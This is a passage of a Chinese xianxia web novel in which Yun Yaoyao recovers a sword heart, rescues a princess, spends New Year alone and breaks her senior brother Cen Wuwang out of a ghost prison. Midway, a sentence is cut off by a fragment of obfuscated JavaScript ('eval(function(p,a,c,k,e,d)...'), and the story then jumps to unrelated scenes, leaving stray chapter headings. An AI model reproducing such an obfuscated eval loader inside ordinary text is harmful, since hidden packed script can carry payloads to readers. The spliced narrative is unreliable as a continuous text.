湖中仙人舟中眠,鬼影遁入湖心逃离不见。 探入湖中的丝线已经拉得很长,她能感受到湖中有萦绕留存的鬼气,可始终没有寻到憎愔,更没有探知到半分灵气。 整片湖就像是一片镜子,将两个世界隔开。 云杳窈看着水中自己的倒影,喃喃自语:“如果死者的路在水下,那生者呢?” 两道剑鸣划破天际。 自中原高空,传来一声四海皆可闻的巨响,赫赫之光,盖过高挂的丽日灿阳。 秘境在云杳窈等人回到蔚云城后迅速关闭,再难寻到踪迹。 剩下一颗枯萎的剑心,没有灵气运转,它化成了一颗婴儿拳头大的宝丹,直直往下坠落。 云杳窈当即御剑追赶,在剑心坠落的前一刻,她终于抓住了它。 云杳窈与剑心一同落地,她气喘吁吁,瘫坐在地,面无表情的将它收在怀中。 闻佩鸣与徐清与很快跟了过来,他们这才发现,出了秘境后,并没有回到蔚云城,而是落在不知哪片山林荒野。 三人拿出灵器定位。 好在这里虽然荒僻,却并不是无主之境,他们落在了襄华王都附近的山里,处于蔚云城东北,乾阳宗东南。 闻佩鸣以密令速速传信给天枢,让他在王都城外接应,只要出了这片山林,就能和天枢会合。 稍作休整,他们便顺着林间小道往山下走。 刚至山下,忽见鸟雀飞起,自西侧的大道上有一阵喧闹声响起。马嘶鸣间,刀箭噼啪乱响,鬼气冲天,有人在乱中大喊:“保护王姬!” 云杳窈还以为是憎愔,问天随她灵气驱使,比主人更先一步朝鬼气来源杀去。 一剑穿恶鬼,正在尖叫的女郎睁开眼,将袖子向下移动,露出一双飞扬姝丽的凤眼。 眼前的可怖鬼怪自腰部整齐斩开,自混沌鬼气中,先是亮出一柄寒光宝剑,而后看到了一位与她年岁相仿的女子,花容月貌,身姿翩然。 云杳窈看她惊魂未定,想起刚才侍卫的呼喊,露出一个温婉和善的笑,道:“在下是乾阳宗弟子云杳窈,王姬莫怕,恶鬼已除。” 说罢还递出一只手给她,想要拉她起身。 王姬将手搭在她手上,云杳窈见她年龄尚小,又是金枝玉叶的君王之女,控制着力道,生怕扯痛了她。 她轻轻一拉,没想到这位王姬身体一歪,向旁边倒去。 云杳窈刚想揽住她,幸好这时候有两位侍女冲了过来,及时扶住了她,她们惊叫:“王姬小心脚下!” 王姬晃着身子,好半天才稳住身形,她遇上恶鬼袭击,心魂惊惧,还紧拉着云杳窈的手。 她身上并没有多少骄矜脾气,听闻云杳窈是乾阳宗弟子,先是道了谢,而后邀请云杳窈同行:“救命之恩,无以为报,请仙子……” 云杳窈刚想婉拒,身后的闻佩鸣突然出现:“师姐,怎么不等等我们。” 猝不及防被他拍了肩膀,云杳窈回头一看,闻佩鸣与许晴来互相搀扶着,才跟上前来,她连忙扶过徐清来。 王姬打量了着三人身上的狼狈,掩面娇俏轻笑,道:“诸位不如随我入王都,新岁将至,城内热闹非凡,仙人不如暂留几日,再启程返回。” 乾阳宗少有人过尘俗节日,即便是新岁将至,于宗门众人来说,不过是意味着开启新的一年修行罢了。是以门内诸弟子仅在献岁时参与门内祭神。 刚入门的弟子,心性未定,或许还会思亲恋家。如云杳窈这样的人,多数是闭门不出,如常度日。 不过也有例外。 每年这时候,岑无望都会早早结束手中任务,将除夕这夜空出来,为她带回来些凡间时兴的新玩意儿作为礼物。其中必定有一枚当下凡间流通的钱币,当作压祟钱。 虽说踏上修仙道路,便要远离红尘,平时同门相处,鲜少以凡间俗礼约束,岑无望与云杳窈相处时,却甚少逾矩。自她搬到隐春宫长住,他从未去她房中打扰过。 唯独在除夕之夜,岑无望才会任云杳窈胡闹到天明,守岁时顺带向她说些山下驱妖斩鬼时遇见的趣事。 今年,逢朽生椿的烛火要由她独自虚耗了。 云杳窈握紧剑心化成的宝珠,道:“王姬盛情,本不该推阻……” 王姬眼神一错不错看着云杳窈,她听到前半句时,就知道她这是要拒绝。 本以为云杳窈会拿仙人避世的借口,没想到对面的少女微微一笑,眼神温柔缱绻。 “尚有人在门中待我守岁,不好让他空等。” 此话一出,所有人一楞。 闻佩鸣还以为她说的是晏珩,巧妙接话,应和道:“是啊,微尘长老想必也盼望你早日平安归来。” 见王姬欲言,他接着说:“天枢就在附近,我们还是赶快离开这里吧。” 几人向王姬告辞,将要离开时,王姬拉住云杳窈不知何时而破衣袖,道:“留步。” 她解下身上的银灰狐皮大氅,塞到云杳窈怀中,道:“我名姜娆。仙子恩重,无以为报,希望这件衣裳,能为仙子抵御片刻风寒。如若往后途径襄华,请仙子务必回到襄华王都,让我还报今日恩情。” 天寒地冻,云杳窈看到姜娆脸上很快被风吹得泛红,将大氅披回她身上。 “王姬美意,我心领了。若是有缘,自会重逢。” 远处,飞舟的阴影笼罩大地。云杳窈头也没回,随同门而去。 大雪飘零,欲将一切过往污秽留在旧年。 自这天起,世人皆知剑心在失落后毁于襄华的连绵的荒山。 飞舟再次停泊在山外空中,徐清与早已向师门传信。所以她们远远就看到几人在山下等待。 虽说飞舟内早有侍女等待为他们疗伤至于,备好新衣衫等待三人,然而她们身上的伤口半天内无法愈合。尤其是徐清与的腿伤,恐怕要好好修养一阵。 廖枫汀站在最前方,见到徐师妹的狼狈模样,未曾言语,默默扶过她,询问她此行遭遇。 两人同是怀璞长老门下,交流起来更随性些。徐清与正好有些事想拜托他去查找,两人便走在最前方,先进了山门前的迷阵。 花在溪挑挑眉,调侃道:“怎么这么狼狈?知道的,以为师妹是去大泽散心。不知道的,还以为有人在大泽内埋伏师妹呢。” 还真有埋伏。 云杳窈撇了闻佩鸣一眼,对方已拿到了扇子,虽说面色如常,但他在雪中不断扇着风,怎么看都是一副心虚模样。 “此行是我招待不周,若师姐往后还想散心,我必定倾尽照渊阁之力。明日,待我休整完毕,必当上门亲自赔罪。” 花在溪冷笑一声,难得正色:“那看来,问题是出在你身上了。” 闻佩鸣竟然过断认下,道:“此事我心中有愧。往后,只要云师姐向我提出的要求,我必定全力而为。” 花在溪翻了个白眼:“得了吧,错误已经酿成,不要钱的好听话谁不会说。” 闻佩鸣认真道:“凡她心中所想,凡我力所能及者,我会悉数为她奉上。” 花在溪揽住云杳窈肩膀,凑到她耳边:“看到了吗?这就叫巧言令色,男人的话,师妹不要信。当然,这些男人不包括我,我是一等一的好师兄,师兄我啊……” 他的声音不高不低,恰巧能让闻佩鸣听得一清二楚。 闻佩鸣皮笑肉不笑,用手中扇狠狠敲在花在溪手上。 花在溪道:“在乾阳宗境内,你还敢打云师妹。” 他看向云杳窈,道:“看到了吗?要不是花师兄护着你,这厮还想打你。” 闻佩鸣回他:“我方才瞄准的,是巧言令色之人。” “听说师弟还没有拜师,春日试炼将要开启,不如让我教你两招。” “那师兄可要想好,我剑未有败绩。” “口气不小,不知道剑术究竟如何。” “剑术一般,堪堪能打赢你。” 两人的眼神在空中交汇,硝烟弥漫,一红一青谁也不肯让步。 突然,花在溪先将目光移回云杳窈身上,道:“师妹,我御剑带你回去。” 闻佩鸣也说:“师姐,我送你回逢朽生椿。” 在两人的争执中,云杳窈摇摇头,道:“花师兄和闻师弟可结伴并行,我想与师兄单独走一会儿。” 她双手从披风中钻出来,掌心捧着一颗辉芒暗淡的珠子。 云杳窈对闻佩鸣说:“我确实有一件事需要拜托闻师弟。” 闻佩鸣眼中含光,笑着说:“师姐请说。” 云杳窈回他一个客气疏离的微笑:“往后若无要紧事,便不要来逢朽生椿扰我与师兄的清净了。我想,他可能不太愿意看到你。” 说完,她孤身离去,未多看他一眼。 花在溪见状,神色有点不自在,他看了看脸色黑下去的闻佩鸣,道:“那是何物?” 闻佩鸣这句没有呛他,回答:“是小剑君的残骸。” 花在溪怔愣片刻后,带着犹疑低声道:“剑心?” 闻佩鸣点头。 云杳窈已经带着珠子抬步,款款向山门走去,她单薄的背影很快就进入迷阵中,模糊到剩下一个清丽的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是她拿起细长的香,借殿内的火点燃,说:“我以后,可能不会日日都来命殿看望你。” 云杳窈再次强调:“我真的不来了,我有事要做的。” 寒风吹进殿内,原本袅袅升起的烟线突然凌乱,像是和她挥手似的。 “那就这么说好了。”云杳窈轻声,“我们就从此刻开始永别。” 日薄西山,残阳入暮。 云杳窈回到逢朽生椿时已经天黑,离开太久,门前的灯笼无人点燃。 今日是除夕,也是云杳窈独自在乾阳宗过的第一个除夕夜。 她为自己点燃烛火,无人陪她聊天打发时间,她就拿起房中没看完的书,准备熬过今夜。 白雪映窗,恍若白昼。 云杳窈听见窗棂敲打的声音,误以为有人造访,于是支起窗户去敲。 什么都没有,只是逢朽生椿无结界庇护,风雪误扰了此处清净。 屋内烛火明亮,她听着簌簌落下的雪,突然觉得孤独。 云杳窈倚在窗前,突然摸到空荡荡的鬓发,便抬手呼风唤雪,凝结出一朵冰花。 与碎掉的那朵很像,但每一片雪都是独一无二的,正如这世上,虽有重来之日,却难有相同之人。 天将明之际,云杳窈在逢朽生椿内沉沉睡去。 改岁宜新、应时纳祐。从今诸事愿、胜如旧。 因为整夜守岁,难免睡过了时辰。 云杳窈今日还要去宗务堂,将憎愔之时告知同门弟子,另寻记录,挂悬赏令,昭告同门,小心这只恶鬼。 檐下坚冰倒悬,云杳窈睡眼惺忪,咯吱咯吱踩着新雪推开门。 虽说将要迎来春日,可整个北方,冰雪未消,风寒料峭,云杳窈打了个喷嚏,眼前顿时被激出的眼泪模糊。 隔着模糊的眼前雾象,云杳窈看到了一人青衣白衫,立于树下等待。 如此寂寥的景色中,他身上那点静谧的青,就好似包裹在雪中的新芽,于枝下沉寂着,只待春风潜至此处,便能焕发出生意。 云杳窈以为是闻佩鸣,有点不耐烦。 “不是让你不要再来打扰了吗?” 树下之人话中笑意难以抑制:“才相逢,便说这些话,师兄也是会伤心的。” 刹那间,云杳窈还以为仍置身于梦中。 她眼前迷雾渐散,一切变得清晰起来。 他给人的第一感觉便是清。整个人如青竹般挺拔清瘦,如水般清澈甘冽,如月光般清明皎洁。肩背宽而薄,层层叠叠的衣袍拢着他,仍旧不会给人以沉闷感。 岑无望眉眼舒展,遥望云杳窈时,眸中未有半分气恼。 许久不见,他又清减许多。 云杳窈几步跑到他身前,仍旧不敢相信是师兄回来了。 直至岑无望主动张开怀抱,她才毫不犹豫扑进他怀里。喉中干涩,她好半天才找回声音。声音闷闷的,抱怨着:“冰花碎了,都怪你。” 岑无望看着云杳窈发顶,声色柔和,应下她的无赖埋怨:“嗯,都怪我。” 云杳窈的眼泪沁入他衣襟前,岑无望抬手为她整理鬓边碎发。 “所以师兄带了赔礼回来。” 春风未至,岑无望连剑都丢了,两手空荡荡归来。 云杳窈从他怀中抬头,正要四处张望寻找,忽而从他袖中飞出一只蝴蝶,翩然落在云杳窈发间。 50-60 第51章 在云杳窈说完这句话的那一刻,止戈的瞳孔骤然缩紧,她嘴唇颤动片刻,而后喃喃道:“你说喜欢岑无望,你可知他并非表面上那般纯善,他待你究竟有几分真心,恐怕他自己都不知道。” 云杳窈不太清楚,她回顾两世间与岑无望的点点滴滴,道:“可我不能不记得岑无望的好。诚然,他并非全无私心,可我仍愿意为他的性命奋力一搏,就像他曾经无数次向我走来那样。” “其实我有时候会很恨岑无望,恨他无数次轻而易举的俯首低头,又恨他不能将目光全然放在我身上,总有那么多自以为是的理由。”云杳窈说,“可是爱与恨本就是唇齿相依的关系,在我意识到我对他有如此多无来由的怨憎与欲望后,我就意识到,这一生,我无法在他决意为我赴死时作壁上观。” “若他是千年前依附灵树而生的草芥,我 就做那颗能为他提供栖息之所的树,今生总是他对我百般纵容,总要让我寻一次机会,杀杀他的威风,好教他永远欠着我的。“云杳窈说,“我就要他每每想死的时候都惦记着我,盼着他由爱生忧,由爱生怖,从此向我俯首称臣。” 她不要克己复礼的翩翩君子,她要的是能为她神魂颠倒,惟她之上的狂热。 云杳窈说到这里,语气中带着微微的颤抖,甚至带着点兴奋。 问心在她的澎湃心绪中发出低沉嗡鸣,脚底渐渐生出的影和镜湖之上的人同时向这柄剑望去,在这无影之湖上,她在此留下了属于自己的,一道崭新的影子。 那是她的剑意,她的心影。 问心重新与她接通感应,这一次,剑身所折射的不再是漫天风雪汇集而成的寒光,而是一道如灿阳般的金色光辉。 云杳窈眼中的笃定与陡然迸发出的光亮令止戈一时语塞。良久,止戈才问她:“那你有没有想过,沧海桑田,地覆天翻,你早就不是当初的灵君,他对你究竟是什么感情,他分得清吗?” 镜湖之上又恢复死一般的寂静,云杳窈看着脚边渐渐清晰的倒影。她能从这双琥珀鎏金般的双眼中看到平静,心中迷茫渐渐随影子沉了底。 云杳窈说:“所以我要亲自问问他,好过留我一个人猜忌怀疑,反倒容易误了真情。” “世间无真情。”止戈冷冷道,“你要是愿意去找他,就去吧。” 她已经尽力阻止,若云杳窈真的一心求死,她也没必要阻拦。 不过再多等一世,止戈这般想,左右不过千年的煎熬,再多等几十年,也没什么大不了。 就算这样努力说服自己,可是云杳窈提剑离去,她的肩膀瘦削,看起来柔弱到不堪一击。 可是她也和千年前一样,就这么朝着自己认定的方向走去,连头都不曾回。 止戈从前对转世的灵君没什么感觉,她在镜湖中看过太多令人惋惜的故事。这些转世有的根骨平平,一辈子碌碌无为。有的昙花一现,未等到她去寻找,便迅速凋零折损。有的还未见识过河山便被囿于后宅,一辈子不见四角围墙外的天。 但她们都有一双相同的眼,都有同一种不服输的倔强。 隐于脆弱凡人躯壳之下,蓄势待发,只待一个机会,便能重现天日。 云杳窈的身影离洞口天光很近,却离止戈越来越远。 止戈突然起身,她疾步往前,想要说些什么:“不要。” 等她听见自己的声音后,这两个字又如同洪钟余震,振聋发聩,将她压在原地。 到底想要什么,到底要阻止什么,或许是她游离于规则外太久,如今反而不记得最初的执念到底是何种模样。 终究和千年前一样,止戈目送着云杳窈的背影,就如同目送即将沉入山谷的夕阳。 夏季将近,白日渐长,乾阳宗山脚小的城镇无宵禁,夜间倒比门派内还要热闹些。 云杳窈在客栈内等了许久,壶中茶空了一回又一回,终于在丑时过后听见窗边有石子砸了进来。她赶忙起身去看向窗下来人,红线绣白衣,赤金缘边,细长抹额绕过额心,在脑后垂下,藏在高高竖起的头发后。 在看见云杳窈的脸后,花在溪看见她后,弯了弯笑眼,对她做口型:“等我来找你。” 说完,他身影隐于夜色中。 不多时,云杳窈听见楼梯处有动静,她打开门,正好看见花在溪抬手欲敲门的动作。 “进来说。”她将花在溪拽入房中,确认他身后没有其他人跟着后,才将门关上。 “归飞千翼戒半夜有异响,我就知道是你回来了,快让我好好看看。”花在溪将她上下打量一番,确认她毫发无损,只是比在山上时看起来瘦了些。 “你是怎么从止戈手里逃离的?”花在溪问。 云杳窈蹙眉,她仰头看向花在溪,发现对方并不像是开玩笑的模样。 “谁告诉你我是止戈带走的。”云杳窈蹙眉。 花在溪道:“你在上古秘境中为止戈所掳,此事师门上下早已传遍,微尘长老还在宗务堂挂了天字级任务,凡是能带回你消息的,一律重赏。又在九境广布悬赏令,能将你带回乾阳宗者,他会开隐春宫私库,其中宝物都可随意挑选。” 杀人者仍旧高高在上,不沾半分因果报应,甚至还有余力反咬一口。 如今九境皆知云杳窈为贼人所胁迫,而止戈却反倒成了罪人。她既怕连累止戈,又不免对岑无望的处境越发忧心。 连一起进入上古遗境的花在溪都对此事深信不疑,那天下人对这件事的真相更是任凭晏珩捏造。 想要扯开晏珩的清白伪装谈何容易,云杳窈叹了口气,冷静下来:“此事说来话长,止戈并无害我之心,我也并不是为她所迫。” “算了。”云杳窈揉了揉太阳穴,话锋一转,“岑无望呢,他如今可还安好?” 在这个名字出口的瞬间,气氛冷凝成冰,花在溪的脸色肉眼可见的沉了下去,他道:“岑无望与贼人里应外合,先杀同门,而后将你掳走,设局谋杀恩师未遂,如今已经成了乾阳宗阶下囚,被丢进了万鬼窟深处,那地方关的都是些恶贯满盈,已经失去理智的恶鬼,杀欲深重,岑无望被关进去,定然比直接杀了他更大快人心……” 春过夏至,算来已有月余时光。万鬼窟那种地方,深处的封印和鬼气同样重,把一个正常人丢进去,能活活折磨疯。 云杳窈不忍再听,打断花在溪:“岑无望是晏珩的首席弟子,难道晏珩就忍心看他受此折磨吗?” 紧随而至的,是花在溪带着怨毒的低吼:“那是他罪有应得!” 他眼眶微红,瞪着双眼,不肯在此事上忍退一步。 “岑无望杀了廖枫汀,他们本无冤无仇,他杀人的时候怎么不想想这是他的同门师兄?师妹,廖兄的为人你清楚,岑无望便是再厌恶他,为何偏偏要置他于死地?我不明白,为什么他的心就能如此狠毒,你怨微尘长老不肯顾念师徒情分,可谁来偿还廖枫汀的性命?” 云杳窈看着他眼睛眨也不眨,里头的恨意和愤怒几乎要满溢而出,她的脑袋嗡嗡作响,梗着脖子与他对峙:“若我说,杀死廖枫汀的并非岑无望和止戈,而是另有其人,你会相信我吗?” 花在溪很想相信她,在面前他年少懵懂时的第一份喜欢,是他未能说出口的遗憾。 但是此时此刻,他的理智被愤怒焚烧,灰烬之下,还有些妒忌和酸胀。 明明心口都快要干涸,他的眼眶却溢出点点水光。 “证据呢?”他也蹙着眉,与师妹两相对视,“还是说你只是愿意被岑无望所蒙蔽,甚至……” 他的话音被撕扯得几近无声,咽下一口唾液,他才能趁此机会调整好,接着说。 “甚至不惜包庇他的所有过错,师妹,你未免太偏心了。” “我不是过分相信岑无望。”云杳窈说,“只是你可能不知道,那种被所有人抛弃的感觉。” “况且,我并非包庇他,我只是选择将真相公之于众。岑无望不能死,最起码不能死在乾阳宗的私刑中,若他有过错,也请乾阳宗拿出证据,证明岑无望的罪行。” “晏珩长老亲眼所见,还需要什么其他证据?”花在溪有些不耐。 云杳窈抬高音量:“那我告诉你,我也是见证者,为何晏珩所说就是铁证,而我的话你却怎么都不肯相信。” 她嗤笑:“难不成一件事的真伪要靠威信,那天下之事岂不是任凭他一人颠倒黑白,毕竟这世上有谁的威望能盖过他?” 在这一刻,花在溪突然陷入一种迷茫,他想要张开双臂抱一抱云杳窈,将未曾凝聚成形的眼泪提前藏在她的肩窝,然后迫切从她身上汲取温暖和依靠。 在他抬臂俯身之际,云杳窈却将问心横在身前。 三寸金光抵在他的咽喉间,云杳窈道:“正因所有人都不明白真相,所以我才更要带着岑无望活下去,直到所有人都能看见我口中所说的清白重现于世。师兄,有时候真相藏在表象之下,你如今痛恨岑无望杀了廖师兄,可若因此被人蒙蔽了双眼,放过了幕后凶手,那时候冤死的就不止廖师兄和岑无望了。” “你明知岑无望杀廖枫汀这件事疑点重重,可还对晏珩听之任之,甚至愿意佐证他的谎言,廖师兄若是泉下有知,估计要被你们气活过来。” 沉默半晌,花在溪喉结滚动:“何必刀剑相向,云师妹,你想让我做什么,直说便是。” 第52章 云杳窈收剑:“带我上山,我知道你有门路,能避开门中人耳目。” 早前没能兑现的诺言,如今竟然要用在这种时候。 花在溪眯起眼,道:“我可以带你上山,但我有一个条件。” 云杳窈应下,很自然的点头:“师兄愿意帮我这个忙,我定不会让你白白冒险,你想要什么,除却问心,只要我有的,你尽可以拿去。” 花在溪将手摊开,指根的黑色戒圈在白皙皮肤上额外显眼。 “我带你上山后,你需要将另一只归飞千翼戒给我,从此我们两清,你救你的好师兄,我还做我的乾阳宗弟子。待过了今夜,你再说出什么花言巧语,我都不会再帮你。” 归飞千翼戒虽是稀世珍宝,可在云杳窈手上确实没什么别的用处。 更何况,拿这枚戒指与花在溪做交换,并不算亏本。 “不必等到上山,师兄肯信我,我必不会辜负你。” 云杳窈心中暗自把账记在岑无望名下,果断取出归飞千翼戒交给花在溪。 “花师兄,事不宜迟,我们早些上山吧。” 花在溪将这枚戒指紧紧握在掌心,看着面色坦荡的云杳窈,觉得戒指扎的手心疼。 他露出一个明媚笑脸:“师妹好爽快。” 两人似乎暂时放下心中芥蒂,并肩同行从花在溪惯用的小道溜上了山。他手上有定渊长老给的通行令,山门大阵根本没有阻拦他们,这一路几乎是畅通无阻。 走过山门结界,云杳窈看了眼身后逐渐恢复原样的阵法窄门,问花在溪:“伯都呢?” 花在溪心里憋着气,没想好好回答:“谁知道,可能是睡着了。不过也有可能是存心放你一马,他偶尔也会偏心。” 云杳窈听出他语气不善,不欲与他争辩。突然停下脚步,将兜帽往下拉了拉,道:“你我的交情,送到这里已是仁至义尽,杳窈铭记于心,往后的路就没必要麻烦花师兄了,告辞。” 她抬脚就要离开,花在溪下意识抬手去拽,但是掌心擦过她的衣袍,手中一直攥着的戒指随动作飞了出去,埋进路边杂草,不知所踪。 花在溪在原地愣神片刻,等云盖住了月光,才不言不语弯腰去捡拾那枚刚捂热的戒指。 没有光,他摸索着找了很久,才在碎石与杂草根系旁找到了它。 等花在溪将它重新放在面前端详,才想起如今两枚归飞千翼戒都在他手中,他本就能凭借感应快些找到另一枚戒指的所在。 但他什么都没有做,最终走向了与云杳窈并行却不相交的另一条路上。 夜风在小径间是一片愁思悲凉,然而到了思过崖,便化作罡风,几乎要把硬闯这里的人削去几片肉才肯罢休。 自离开嵘烬山后,云杳窈与问心的感应比从前还要强,虽然是同一境界,实力却已今非昔比,有剑光护体,她毫发无损从思过崖的罡风中穿过,翩然落至崖底。 问心的金光照亮她脚底的路,云杳窈深吸一口气,拍了拍问心,无声道谢。 紧接着,她找到一个角落盘腿而坐,放出鉴义潜入万鬼窟前的封印。 云杳窈脚下的影子随着鉴义一同潜入万鬼窟,她闭起眼,回顾着先前在幻境与镜湖时灵族魂影的运行轨迹与鬼气流变方式,有惊无险借助鉴义和影子进入万鬼窟。 云杳窈的躯壳还留在外面,虽说思过崖的崖底无人造访,但久则生变,所以她必须尽快找到岑无望,在有人察觉前一起离开万鬼窟。 根据花在溪所说,岑无望被晏珩困在了万鬼窟最深处。 云杳窈便循着鬼气最浓郁的地方,一路隐匿气息潜入万鬼窟的最黑暗处。 她如今是一抹离魂,在万鬼窟中倒不会显得格格不入,偶尔有鬼注意到她,她也不多做纠缠,且打且退。 许是多数鬼都忌惮着深处的封印和大鬼,因此越往里走,纠缠过来的恶鬼反倒少了许多。 云杳窈感受到四周的威压越来越深重,连空间都几近扭曲。 万鬼窟内鬼哭狼嚎不断,可这里却难得安静。 云杳窈止住了脚步,突然有些犹疑。 不应该啊,即便是深处,也该有实力强劲的恶鬼雄踞一方才对。 恶鬼的执念和贪欲远胜活人,在这种环境下几乎很难保持理智,那么越是往里走,这里的鬼应该越有领地意识才对。 怎么可能这样畅通无阻,不见一只鬼影。 鉴义护身,云杳窈探查不到周围有波动的鬼气。 伸手不见五指的地方,若是没有一点光亮和响动,远比外面的鬼哭狼嚎还要瘆人。 云杳窈心里发毛,开始考虑着要不要冒险聚起一簇火苗照亮。 还未等她掐诀,斜前方有轻微的动静响起,是很清脆的铁器碰撞声。 声音太过细微,瞬间激起云杳窈一身鸡皮疙瘩,她听不出这是什么兵器,却不准自己轻敌,问心不能进入万鬼窟,她连忙用剑气化形,想要以此御敌。 敌在暗,云杳窈担心被偷袭,索性心一横,不再收束着剑意锋芒。 刹那间,金光将此处完全照亮。 浓稠的鬼气环绕着云杳窈,她自深重粘稠的空气中看见前方一团黑影。 猛然被光照亮,那黑影有些不适应,他稍稍抬手作挡,脚步微动,顿时带起一片哗啦的铁链响动。 他似乎很不喜欢被打扰,长叹一口气,登时,鬼气将那些金光往回压,很快就缩回了云杳窈身边。 怪不得没有鬼,原来是全被他驱赶吞噬了。 这里可能还不是最深处,云杳窈招呼都没有打,干脆利落地将剑指向前方的鬼影。 凛然剑气斩开层层鬼气,直劈向那道鬼影。 趁他躲闪的瞬间,云杳窈将身形藏于黑暗,隐匿气息,继续往深处冲。 一声清脆的响指,浓郁的鬼气吞噬这里的一切,覆盖掉原本的鬼气与剑气,云杳窈顿时迷失了方向。 她凭借直觉立即往后退,鼻尖险险擦过一抹微凉衣角。 这只鬼不太好惹,应该是领地意识过强,把附近的鬼都驱赶走了,她初来乍到,误扰了他的清净,因此才会被他所戏弄。 看如今的架势,他是既不急着和她厮杀,又不着急放她离开。 那就是想耗死她,等觉得无聊了,再吞噬她的力量。 云杳窈的心一下沉入了谷底,她不欲与这个鬼继续纠缠下去,想要换一条路走。 就在她迅速回头,想要按照原来的方向离开时,身后却突然出现一面墙。 这鬼居然能随心改变领域内的空间,实力不容小觑。 瞬息万变,不过眨眼间,她背后一凉,汗毛直立起来。 又来了,云杳窈挥剑向身后斩,剑意不出所料的落空。 她不再乱动,开始借助鉴义巡查周围,企图找出鬼影的行动轨迹。 可这里的鬼气实在太过厚重,鉴义很难准确判断出这只鬼究竟会出现在哪里,只能捕获一些残影。 云杳窈聚精会神,看出这只鬼是在围绕着她,并非毫无逻辑。她看准时机,再次聚剑气成形,向残影的下一处挥去。 那鬼反应很快,他这次不再躲闪,正面迎接。 两股力量相撞,产生许多细碎湍流,将他们各自的外袍掀开。 云杳窈还没杀昏头,在看清面前人的容貌后惊呼:“岑无望。” 可能是这句呼喊惊到了他,岑无望被弹开,他被云杳窈未能及时收回的力推出几丈远,宽大的黑色兜帽重新垂下来,盖在他的脸上。 岑无望未发 一言,起身就要逃跑。 然而锁链桎梏着他的行动,他不能远离此处,更不敢回击云杳窈。 每弹出一道鬼气,想要拖延那人紧追上来的脚步,就能换来一声更急切的呼喊。 “岑,无,望。” 终于,鬼气又一次扫到云杳窈脚边后,她咬牙切齿喊道。一字一顿,几乎要把这几个字咬碎吞进胃里似的。 岑无望脚上的铁链已经到达极限,避无可避。 他回头,终于应下:“杳窈。” 云杳窈不再急着追他,她慢步向岑无望走去,眼神紧盯着岑无望的方向,直把他看得移开目光,不敢再与之对视。 岑无望突然很紧张,他觉得自己必须说点什么来挽回现在的局面。 于是,他咽下喉间干涩,主动放下兜帽,唤她:“师妹。” 啪—— 一阵火辣辣的疼自脸颊蔓延开来,岑无望的头歪向一侧,还没反应过来现在的情况,只记得鼻尖前萦绕着一阵自灵体散发而出的淡淡香气,还有冰冷的掌心。 手是冷的,巴掌落在脸上却是热的,甚至后知后觉开始疼了。 岑无望还没说什么,骤然听见云杳窈冰冷道:“别叫我师妹,你有这般能耐,我以后可不敢认你做师兄了。” 冗长的嗡鸣声贯穿岑无望的双耳,他连忙回头让她不要说这么决绝伤情的话。 然而岑无望对上师妹的眼,看见她发红的眼眶,还有那微微颤抖的睫羽,好似蝴蝶停歇前的最后一次振翅。 而这只蝴蝶落在岑无望的眼底,顿时便让他心里软得一塌糊涂。 再多解释都需要往后等等,岑无望僵在原地,闷闷道:“对不起,是师兄不好。” 第53章 岑无望上前,想要拉起云杳窈的手。 云杳窈躲开岑无望的动作,他仍然坚持要去牵:“让我看看。” 她闻言,索性将手背在身后。 “你这般不惜命的人,也会担心别人吗?” 岑无望的手僵在身前,他抖了抖被鬼气撕扯得不成样子的宽大衣袖,垂眸整理着分不清层次的腕间衣料,道:“你怎么能算别人呢?就算抛去师兄妹这层关系,你我仍是兄妹,这是不可更改的事实。” 他语气这般笃定,眼神却忍不住往云杳窈脸上瞧,正巧被云杳窈捕获。 她冷声反驳:“谁要和你做兄妹?岑无望,你别给自己脸上贴金。更何况,我才不要一个谎话连篇的人做我兄长。” 她别过脸,嘟囔道:“你不是曾说,只要我惦记着你,就算是断腿断脚,爬也要爬回到我身边吗?如今这算什么,自断生路?还是觉得,只要你死了,从前说过的话全都可以不作数。我告诉你,你想得美,你说的每一句话我都记着呢,账没清算完,我不许你死。” 明明是在一本正经教训他,岑无望却突然觉得连月来的痛苦都减轻了不少。他脸上还有点麻,连自己何时牵动唇角都没注意到。 但是笑着笑着,他不免有些悲凉。 万鬼窟何等险恶之地,他已是强弩之末,若不是方才千钧一发之际,被熟悉的灵气唤回心神,他早该在重逢的第一眼就认出这是云杳窈。 事已至此,岑无望不敢指责师妹为何只身前来,为何要辜负他先前苦心,这一切的原由他心知肚明,正因如此,他才更觉得自己如今已然成了云杳窈的累赘。 千言万语堵在胸口,岑无望只能说:“对不起,我如今这幅模样,竟还能继续连累你。” 云杳窈闻言,看着岑无望俯首认错,一副任君打骂的模样,直接扑进他怀里:“我才不想听你的对不起。” 岑无望被她撞得后退几步,在反应过来前,他已经紧紧将人揽在臂弯间。 森然鬼气化作天然的屏障,隔绝了四周无穷无尽的绝望,他们在威压深重的万鬼窟深处紧紧相拥,仿佛天底只有对方才可依靠。 那些源自破碎心脏的,细密如织的痛感充斥着岑无望整个胸腔,他将自己的脸埋进师妹的肩窝里,从此找到了可以栖息的港湾。 从前年少,不知天高地厚,总以为自己是一人之下万人之上,天赋卓然,君王宠幸,只有他不愿要的,没有他不能得到的。 而今历尽千帆才明白,这世上总存在着许多他力有不逮的事,譬如命运,例如杳窈。 前者是他的鞭长莫及,后者是他的无可奈何。 “如果还有来生,我一定要先去找你。”岑无望说。 云杳窈从他怀中挣脱出来,道:“不许等到来生,我们即刻下山,岑无望,这一次我不会再让你一个人逞强。” 说罢,云杳窈斩开岑无望脚上缠绕的枷锁,拉起他就要往外走。鉴义拨开重重鬼气,云杳窈左手拉着岑无望,右手提剑,剑气如虹,在前开路。 加上岑无望一身戾气,震慑着窟中恶鬼,他们只是紧紧跟着,并没有立即发动攻击。 万鬼窟的出口近在咫尺,岑无望看着阵法的光亮,看着师妹轻车熟路破阵,神情肃穆。 “凭借我的力量,只能勉强撕开万鬼窟封印,等会儿你不必管我,找到机会就从这里逃出去,往山门的方向跑,不要回头,我来为你殿后。” 为了不让其他鬼趁机逃蹿出去,祸乱人间,必须有人来扭转修复阵法。 岑无望灵力微薄,这件事只能由云杳窈来做。 这个封印已经在此数百年,并非不可破解。只是因为设阵之人是晏珩,万鬼窟又地处乾阳宗禁地,因此才成了传闻中不可涉足之地。 云杳窈里应外合,以鉴义穿透阵法,强行令它停滞一息左右,已经是在涉险。 一旦两人出了万鬼窟,晏珩必定有所察觉,到时候还需要有人来转移他的注意力。 